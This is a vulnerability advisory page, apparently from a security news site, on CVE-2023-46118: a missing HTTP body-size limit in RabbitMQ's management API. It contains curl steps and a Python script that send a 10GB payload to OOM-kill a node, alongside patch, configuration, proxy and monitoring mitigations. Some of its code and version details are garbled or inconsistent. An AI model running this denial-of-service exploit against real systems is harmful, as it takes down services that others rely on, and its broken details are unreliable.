Listen to this Post
How CVE-2023-46118 Works
RabbitMQ is a multi-protocol messaging and streaming broker that provides both AMQP and HTTP interfaces for message publishing and management. The HTTP API, exposed via the management plugin, allows authenticated users to publish messages to exchanges and queues using RESTful endpoints. Prior to versions 3.11.24 and 3.12.7, this HTTP API did not enforce any limit on the size of incoming HTTP request bodies.
An authenticated user with sufficient credentials—typically a user with publishing permissions—can craft an HTTP POST request to the `/api/exchanges/{vhost}/{name}/publish` endpoint with an extremely large message payload. Because the server does not validate or cap the request body size, the entire payload is loaded into memory for processing.
When a sufficiently large message is published, the RabbitMQ node attempts to allocate memory to accommodate the request. The uncontrolled memory allocation can exhaust available RAM on the target node. In production environments where RabbitMQ runs under memory constraints, this triggers the operating system’s Out-Of-Memory (OOM) killer, which terminates the RabbitMQ Erlang VM process to free system resources. The termination of the RabbitMQ node results in a complete denial of service for all messaging operations—producers cannot publish, consumers cannot consume, and cluster quorum may be disrupted if the killed node was a cluster member.
The vulnerability is particularly concerning because the attack requires only a single authenticated request with a large payload. The attacker does not need to flood the system with many requests; a single oversized message is sufficient to cause node termination. The attack vector is network-accessible, requires low attack complexity, and demands no user interaction. However, the attacker must possess valid credentials with publishing privileges, which elevates the privilege requirement to “High”.
The vulnerability was responsibly disclosed to the RabbitMQ team by a researcher identified as @NSEcho, who also provided a private Proof-of-Concept (PoC) demonstrating the exploit. The fix introduces a configurable HTTP request body size limit, with a default cap of 10MB applied to the management HTTP API.
DailyCVE Form
Platform: RabbitMQ Server
Version: 3.11.0–3.11.23, 3.12.0–3.12.6
Vulnerability: Missing HTTP body limit
Severity: Moderate (CVSS 4.9)
Date: October 23, 2023
Prediction: Patch expected by Nov 2023
What Undercode Say
Analytics & Technical Breakdown
The vulnerability stems from the absence of a request size validation middleware in the Cowboy HTTP server used by RabbitMQ’s management plugin. The following analysis highlights the technical internals:
Affected Endpoint:
POST /api/exchanges/{vhost}/{name}/publish
Request Body (PoC structure):
{
"properties": {},
"routing_key": "test",
"payload": "<BASE64_ENCODED_10GB_PAYLOAD>",
"payload_encoding": "base64"
}
Memory Exhaustion Trace:
Simulated OOM killer event log [bash] rabbitmq-server invoked oom-killer: gfp_mask=0x200da, order=0, oom_score_adj=0 [bash] Out of memory: Killed process 12345 (beam.smp) total-vm: 8589934592kB
Version Detection (Nessus-style check):
Check installed RabbitMQ version rabbitmqctl status | grep -E "RabbitMQ version" Vulnerable if output shows 3.11.x < 3.11.24 or 3.12.x < 3.12.7
Debian Package Status:
Check if system is vulnerable (Debian/Ubuntu) dpkg -l rabbitmq-server | grep -E "3.[0-9]+.[0-9]+" Fixed versions: 3.8.9-3+deb11u1 (bullseye), 3.10.8-1.1+deb12u1 (bookworm)
Upstream Patch Reference:
GitHub Security Advisory https://github.com/rabbitmq/rabbitmq-server/security/advisories/GHSA-w6cq-9cf4-gqpg
Configuration Change (Post-Patch):
%% rabbitmq.conf entry for body size limit management.http_body_limit = 10485760 %% 10MB default
Exploit
To exploit CVE-2023-46118, an attacker must have valid RabbitMQ credentials with publishing permissions on a target vhost. The following steps outline the exploitation process:
Step 1 – Authenticate and Obtain Cookie:
Login to management API to obtain session cookie
curl -i -X POST http://target:15672/api/login \
-H "Content-Type: application/json" \
-d '{"username":"attacker","password":"password"}'
Capture the JSESSIONID cookie from response headers
Step 2 – Generate Large Payload:
Generate a 10GB base64-encoded payload (adjust size as needed) dd if=/dev/zero bs=1M count=10240 | base64 > large_payload.b64
Step 3 – Craft and Send Malicious Publish Request:
Publish the oversized message via HTTP API
curl -X POST http://target:15672/api/exchanges/%2F/amq.default/publish \
-H "Content-Type: application/json" \
-H "Cookie: JSESSIONID=<captured_session>" \
-d "{\"properties\":{},\"routing_key\":\"test\",\"payload\":\"$(cat large_payload.b64)\",\"payload_encoding\":\"base64\"}"
Step 4 – Observe Node Termination:
Monitor RabbitMQ process status watch -n 1 'ps aux | grep beam.smp | grep -v grep' After request, the beam.smp process will be killed by OOM killer
Alternative Minimal Exploit (Python):
import requests
import base64
url = "http://target:15672/api/exchanges/%2F/amq.default/publish"
auth = ("attacker", "password")
payload = base64.b64encode(b"A" (10 10243)).decode() 10GB
data = {
"properties": {},
"routing_key": "test",
"payload": payload,
"payload_encoding": "base64"
}
response = requests.post(url, json=data, auth=auth)
print(f"Status: {response.status_code}")
Node should be OOM-killed shortly after
Risk Factor: Low exploit complexity; single request suffices.
Protection
1. Upgrade to Patched Version (Primary Mitigation):
- Upgrade to RabbitMQ 3.11.24 or 3.12.7 (or later).
- For Debian-based systems:
sudo apt-get update sudo apt-get install --only-upgrade rabbitmq-server Verify: rabbitmqctl version should show 3.11.24+ or 3.12.7+
2. Apply Configuration Hardening (If Upgrade Not Possible):
- For versions 3.11.x or 3.12.x where patching is delayed, manually set the HTTP body limit:
Add to /etc/rabbitmq/rabbitmq.conf management.http_body_limit = 10485760 10MB limit
- Restart RabbitMQ after configuration change:
sudo systemctl restart rabbitmq-server
3. Network-Level Mitigations:
- Place the RabbitMQ management HTTP API behind a reverse proxy (e.g., Nginx, HAProxy) that enforces client_max_body_size:
Nginx configuration location /api/ { client_max_body_size 10M; proxy_pass http://rabbitmq:15672; }
4. Access Control Restrictions:
- Limit the number of users with publishing permissions to the HTTP API.
- Use separate credentials for automated systems and restrict HTTP API access to trusted networks only.
- Consider disabling the management HTTP API entirely if not required:
rabbitmq-plugins disable rabbitmq_management
5. Monitoring and Detection:
- Monitor RabbitMQ memory usage and set alerts for sudden spikes:
Prometheus alert rule example</li> <li>alert: RabbitMQHighMemoryUsage expr: rabbitmq_process_resident_memory_bytes > 0.8 rabbitmq_node_mem_limit
- Log and inspect unusually large HTTP request bodies in access logs.
Impact
Denial of Service (Availability):
- A single authenticated HTTP request with an oversized message payload can cause the target RabbitMQ node to be terminated by the OOM killer.
- The node becomes completely unresponsive, halting all message publishing, consuming, and cluster coordination.
- In clustered deployments, if the killed node was a cluster member, quorum may be disrupted, potentially requiring manual intervention to restore cluster health.
CVSS Score: 4.9 (Moderate) – Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H
Attack Requirements:
- Network access to the RabbitMQ HTTP management API (port 15672 by default).
- Valid credentials with publishing permissions (privilege requirement: High).
- No user interaction required.
Affected Versions:
- RabbitMQ 3.11.0 through 3.11.23
- RabbitMQ 3.12.0 through 3.12.6
Patched Versions:
- RabbitMQ 3.11.24
- RabbitMQ 3.12.7
Exploitation in the Wild: No public exploitation has been widely reported as of the advisory publication. EPSS score indicates a low probability (0.14%) of exploitation within 30 days.
Business Impact:
- Production messaging systems may experience unplanned downtime.
- Recovery requires restarting the RabbitMQ node and potentially replaying lost messages.
- Organizations with strict SLAs for message throughput face significant operational risk.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
